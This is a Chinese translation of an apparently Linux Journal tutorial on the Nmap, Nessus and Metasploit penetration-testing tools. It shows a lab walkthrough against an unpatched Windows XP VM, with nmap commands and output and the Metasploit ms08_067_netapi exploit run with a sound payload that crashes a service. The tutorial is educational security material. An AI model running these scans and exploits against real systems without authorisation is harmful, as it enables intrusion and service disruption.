渗透测试人员工具包
是否想知道您的网络到底有多脆弱?使用这些工具可以帮助您了解情况,并提供保护自己的方法。
我不知道您怎么样,但在我的 IT 职业生涯中,我越来越关注安全性。我相信每个人都有一定程度的关注,但对我而言,这已成为我日常工作的一部分(我并没有抱怨;恰恰相反,这非常令人兴奋)。因此,我使用了许多工具来完成这项工作。有些我喜欢,有些我不喜欢。但是,我一直回到三个特定的工具:Nmap、Nessus 和 Metasploit。
在本文中,我将从高层次介绍这三种工具,让您了解如何使用它们以及它们的用途。我还提供了一些我自己的经验示例,以便更好地解释我在现实世界中如何使用这些工具(以及您可能如何使用它们)。
Nmap 是我在开始系统调查时首选的工具。Nmap 已经存在很长时间了,从 1997 年开始。它是一个扫描工具,允许您执行各种任务,例如远程扫描、指纹识别、监控、清单和其他此类功能。它利用各种技术(如数据包操作)来获取诸如正在使用的操作系统类型或目标上运行的 Web 服务器软件版本等问题的答案。如果您要成功保护您的网络,这些信息非常重要。
我的工具包中的下一个工具是 Metasploit。Metasploit 自 2003 年初创建以来,已经取得了长足的进步。Metasploit 是一个用于开发和测试漏洞的框架(这些是它的核心功能;它的功能有时似乎是无限的)。它是测试服务器安全性的绝佳工具(只需确保使用测试服务器,因为您永远不知道代码何时会使机器崩溃)。
最后,我的工具包中的最后一个(但绝对不是最不重要的)工具是 Nessus。Nessus 是一款类似于 Nmap 的扫描器,并且存在的时间几乎一样长(自 1998 年以来)。但是,Nessus 能够像 Metasploit 一样对机器运行漏洞代码(而 Metasploit 既可以用于开发也可以用于运行漏洞利用代码),但级别要简单得多。事实上,这就是 Nessus 的优势所在;它像 Nmap 一样易于使用,并且具有 Metasploit 的一些优点。根据情况,我可能会使用其中一种或所有这些工具,这引出了一个很好的观点——重复。
冗余功能并非坏事。例如,这些工具中的每一个都能够执行基本扫描。但是,您会发现 Nmap 运行速度最快,并且提供了侵入性最小的扫描方法。这些是在考虑这些工具的每个功能以及如何最好地使用它们时需要考虑的事项。
无论这些工具中是否存在重复功能,都要花时间学习每个工具的独特功能,以找到最适合您的工具。您可能会发现,虽然 Nmap 速度很快,但您喜欢使用 Nessus 进行扫描和漏洞利用的想法(如果可以的话,一步到位)。您可能喜欢 Nessus 的简单性,但需要 Metasploit 的强大功能(用于脚本编写和将测试分组在一起)。即使它们都能完成工作,但这取决于您的情况以及您如何使用这些工具。
首先要做的是安装这些工具。由于这篇文章发表在Linux Journal中,我假设您在 Linux 平台上运行它,但所有这些工具也适用于 Windows。您可以从您的存储库安装这些工具,但我建议访问每个工具的网站并从其软件包安装(这确保您获得具有所有当前修复程序的最新版本,并为您提供最佳的安装成功率)。
安装非常简单;只需按照每个工具各自网站上的步骤操作,您就会没事的。工具安装完成后,就可以开始使用它们了。我强烈建议您使用虚拟机或某种测试机作为您的第一个目标,以免崩溃任何关键的东西。没有什么比对一个盒子运行扫描,结果发现您不小心使其崩溃(Nessus 和 Metasploit 的可能性很高,具体取决于您正在做什么)并中断了某人的工作更糟糕的了。
为了本文的目的,我将设置一个示例场景。我将使用一台安装了 Windows XP (SP3) 的虚拟机来运行这三个工具。这台机器将是全新安装的,没有补丁,并且防火墙已禁用。这样做的原因很简单,是为了在运行这些扫描时尽可能真实。我经常遇到这台机器,它坐在角落里,积满了灰尘,运行着某种旧的关键任务应用程序(我相信您也遇到过类似的情况)。尤其是在大型环境中,这些机器很容易被遗忘,并且会给您带来最大的麻烦。我已将主机配置为使用 IP 地址 192.168.56.1,并将客户机配置为使用 IP 地址 192.168.56.101。

图 1. Windows XP 机器

图 2. 扫描机器
让我们从 Nmap 开始,在您的目标上开始信息收集阶段(您必须知道您正在处理什么)。因为您知道机器的 IP 地址,所以您不必,但同样可以轻松地对子网或 IP 地址的某些其他子集运行扫描。对于本文,让我们坚持使用 192.168.56.101。在您的终端中,运行以下命令(请记住,只要该用户有权访问 /usr/bin/,您就可以以机器上的普通用户身份运行此命令)
nmap -sV -A -v 192.168.56.101 > /tmp/nmap-output
我总是将输出发送到一个文件,因为之后更容易阅读。但是,在深入研究输出之前,让我们看一下这些开关
-
-sV
— 这告诉 Nmap 扫描类型。在本例中,它是版本扫描,用于查看哪些程序在哪些端口上运行(如果可用)。 -
-A
— 这告诉 Nmap 运行指纹检查。这意味着 Nmap 将尝试正确识别操作系统版本和任何相关信息。 -
-v
— 详细程度—这很重要,因为您需要它才能从 Nmap 获取关键信息。
对于像 Nmap 这样的工具,手册页是您的朋友。请记住,这些工具非常复杂,并且有很多功能,这意味着有很多开关。如有疑问,请始终参考手册页,以免您使用错误的开关并意外地使盒子崩溃(使用像 Nessus 这样的工具很容易做到)。
列表 1 显示了先前命令的输出。
列表 1. Nmap 输出
Starting Nmap 5.50 ( http://nmap.org ) at 2011-11-07 15:45 EST
NSE: Loaded 57 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 15:45
Completed NSE at 15:45, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating ARP Ping Scan at 15:45
Scanning 192.168.56.101 [1 port]
Completed ARP Ping Scan at 15:45, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:45
Completed Parallel DNS resolution of 1 host. at 15:45, 0.02s elapsed
Initiating SYN Stealth Scan at 15:45
Scanning 192.168.56.101 [1000 ports]
Discovered open port 139/tcp on 192.168.56.101
Discovered open port 445/tcp on 192.168.56.101
Discovered open port 135/tcp on 192.168.56.101
Completed SYN Stealth Scan at 15:46, 1.15s elapsed (1000 total ports)
Initiating Service scan at 15:46
Scanning 3 services on 192.168.56.101
Completed Service scan at 15:46, 6.01s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.56.101
NSE: Script scanning 192.168.56.101.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 15:46
Completed NSE at 15:46, 0.15s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Nmap scan report for 192.168.56.101
Host is up (0.00077s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 08:00:27:5B:91:AC (Cadmus Computer Systems)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=245 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows
Host script results:
| nbstat:
| NetBIOS name: XPTESTVM, NetBIOS user: <unknown>,
| NetBIOS MAC: 08:00:27:5b:91:ac (Cadmus Computer Systems)
| Names
| XPTESTVM<00> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| XPTESTVM<20> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\XPTESTVM
|_ System time: 2011-11-07 15:46:06 UTC-5
TRACEROUTE
HOP RTT ADDRESS
1 0.77 ms 192.168.56.101
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
NSE: Starting runlevel 2 (of 2) scan.
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect
results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.34 seconds
Raw packets sent: 1072 (47.866KB) | Rcvd: 1017 (41.234KB)
从列表 1 中的输出可以看出,您可以识别出这确实是一个 Windows 平台,很可能是 XP,带有 service pack 2 或 3 或 2003 服务器。这种类型的扫描是指纹识别扫描,它允许您尽可能紧密地识别操作系统和任何值得测试的服务。您可以仅从非常基本的扫描中提取如此多的信息这一事实表明保护级别较低,威胁级别较高。您可以轻松地推测出没有本地防火墙,并且此盒子没有经过任何强化过程。
虽然您可以对这个盒子运行许多其他类型的扫描以获取更多信息,但您已经有足够的信息可以继续。您可以通过排除过程来缩小范围,确定这是否是服务器。例如,如果这是一台台式机,那么它运行 MS SQL 或 Exchange 等服务的可能性非常小。也就是说,您已经有足够的信息可以继续使用第二个工具 Nessus。
使用 Nessus,让我们测试一下这个盒子,看看黑客如果获得访问权限会对这个盒子做什么。Nessus 现在使用 Web 界面,但如果您愿意,仍然可以使用命令行(请记住阅读手册页)。不过,对于本文,让我们坚持使用 Web 界面。登录 Web GUI 后(注意:这是一个简洁的界面),单击扫描链接开始配置扫描。

图 3. Nessus 登陆页

图 4. Nessus 扫描页
单击添加后,使用这些基本设置配置扫描(图 5)。这将为您提供快速扫描,影响最小,这在内部网络上至关重要。您不想扰乱网络流量并招致您的同事管理员和网络工程师的愤怒。

图 5. Nessus 扫描配置页
完成后,单击报告并双击您的报告以打开它。

图 6. 测试盒子上的 Nessus 报告
通过单击报告中的 IP 地址来详细查看报告。在这里,您将看到按关注程度划分的网格。如您所见,这个非常基本漏洞扫描返回了很多有用的信息。特别是,让我们看一下 RPC 问题。打开它并查看列表(图 7)。

图 7. 对于一个全新的构建,这里有很多事情要做
您可以从中了解到,RPC 是一项令人担忧的服务,并且 Nessus 本身就有一个针对它的漏洞。插件 ID 告诉您要使用哪个插件来测试漏洞;名称为您提供有关该问题的一些详细信息,端口和严重性是不言自明的。通过单击名称,您会弹出一个窗口,其中提供了大量详细信息,包括受影响的版本、发布的修复补丁和各种其他花絮(图 8)。

图 8. 详细结果
这为我们提供了充足的工作空间,但让我们确保我们真的可以利用这个漏洞,并且确实有理由担心。您可以使用 Nessus 来做到这一点(试一试!),但与其仅仅依靠 Nessus,不如引入最后一个工具,重量级工具 Metasploit。
为什么要使用两个可以做同样工作的不同工具?主要是偏好。我发现 Metasploit 比 Nessus 更适合漏洞利用。这并不是说 Nessus 不能完成工作,但 Metasploit 专门为此目的而构建。如果说有什么不同的话,那就是第三个工具提供了另一个令人信服的证据来支持您的发现。多一双眼睛总不会有坏处。
在继续之前,我应该说一下:我对 Metasploit 背后的强大功能表示敬意。在任何时候尝试对远程使用的盒子运行 Metasploit 之前,请务必阅读所有文档。Metasploit 非常有趣,但有点像烟花非常有趣的方式(显然,如果您不小心,可能会发生事故)。
首先打开一个终端,su
到 root(如果您已授予普通用户访问 Metasploit 的正确文件/目录的权限,最好以该用户而不是 root 身份运行),然后运行命令 msfconsole
(图 9)。

图 9. 看,Metasploit
一旦您收到提示,首先要做的是选择要测试的漏洞。要查看所有可用的漏洞,请键入以下命令,然后去喝杯咖啡,因为这需要一两分钟...
show exploits
好的,对于本例,让我们使用以下命令(图 10 显示了结果),该命令对应于 Nessus 显示的先前错误(图 8)
use exploit/windows/smb/ms08_067_netapi

图 10. 列出的漏洞和选定的漏洞
您可以使用另一个漏洞,它只会使盒子崩溃,但让我们尽量不要太具破坏性。选择漏洞后,现在您需要选择一个有效负载。有效负载是通过漏洞发送以获得所需结果的一组指令。在本例中,您希望向计算机广播一条消息。首先,通过运行以下命令列出您的有效负载
show payloads
接下来,使用以下命令选择有效负载
set payload windows/speak_pwned

图 11. 选定的有效负载
最后,显示此有效负载的选项,以查看您需要附加到此命令的内容才能运行漏洞。在本例中,您需要为其提供有问题的盒子的 IP 地址(这是有道理的——Metasploit 不是读心术工具)。列表 2 显示了输出。
列表 2. 漏洞利用的输出
msf exploit(ms08_067_netapi) > set payload windows/speak_pwned
payload => windows/speak_pwned
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes Pipe name to use (BROWSER, SRVSVC)
Payload options (windows/speak_pwned):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
msf exploit(ms08_067_netapi) > exploit
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created.
msf exploit(ms08_067_netapi) >
如您所见,漏洞利用已完成。而且,如果您的虚拟机上有声音,您会听到类似“pwnd”的声音。如果您查看 Windows 机器,您会看到在此漏洞利用中,一项服务崩溃了——这是一个相当典型的副作用(图 12)。

图 12. 我们弄坏了这个盒子。
您可以尝试一些其他漏洞(实际上有很多),但这让您很好地了解了像发送声音这样简单的东西是如何引起问题的。再次强调,请小心,并始终在测试盒子上玩。
结论如您所见,当这三种工具一起使用时,可以进行强大的调查,并为一份好的报告奠定基础。明智地使用这些工具可以帮助您的网络防御这些漏洞。我经常发现自己只是使用 Nmap 在我的子网上进行随机扫描以查找新计算机,使用 Nessus 进行进一步调查并查找漏洞,并在必要时使用 Metasploit 禁用设备(这种情况比您想象的要多)。我还使用这些工具来生成报告、向管理层进行演示以及保持我的网络总体健康。每次运行它们时,我都会学到一些新东西,无论是关于工具本身还是关于我的网络,从而保持了趣味性。试用一下这些工具,看看您的想法,并享受乐趣!
资源Nmap: http://nmap.org
Metasploit: http://metasploit.com
Nessus: http://www.nessus.org